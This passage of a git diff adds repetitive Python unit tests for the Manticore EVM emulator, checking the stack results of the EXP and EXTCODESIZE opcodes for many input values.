+    def test_EXP_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [340282366920938463463374607431768211456L])
+
+    def test_EXP_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1461501637330902918203684832716283019655932542976L])
+
+    def test_EXP_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [630550095814788844423632687832745817333905738742890496L])
+
+    def test_EXP_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6277101735386680763835789423207666416102355444464034512896L])
+
+    def test_EXP_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097712068879837772420409703173580337995947392654709187277710593L])
+
+    def test_EXP_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6277101735386680763835789423207666416102355444464034512896L])
+
+    def test_EXP_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1766847064778384329583297500742918515827483896875618958121606201292619776L])
+
+    def test_EXP_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17084401304090163016086072004374689170541683170424114643147834605304589320192L])
+
+    def test_EXP_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [42192513242301740010671492996252704544191162524312342410321251717326910681089L])
+
+    def test_EXP_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMEXTCODESIZE.py b/tests/EVM/test_EVMEXTCODESIZE.py
new file mode 100644
index 0000000..5d02fcf
--- /dev/null
+++ b/tests/EVM/test_EVMEXTCODESIZE.py
@@ -0,0 +1,335 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_EXTCODESIZE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_EXTCODESIZE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x66666666666666666666666666666666666666666666666666666666666666666666666666666666
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303030
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303031
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x66666666666666666666666666666666666666666666666666666666666666666666666666666630
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303066
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303130
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303230
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30303030303030303030303030303030303030303030303030303030303030303030303030303330
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EXTCODESIZE_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30313131313131313131313131313131313131313131313131313131313131313131313131313030
+            balance = None
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=';'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
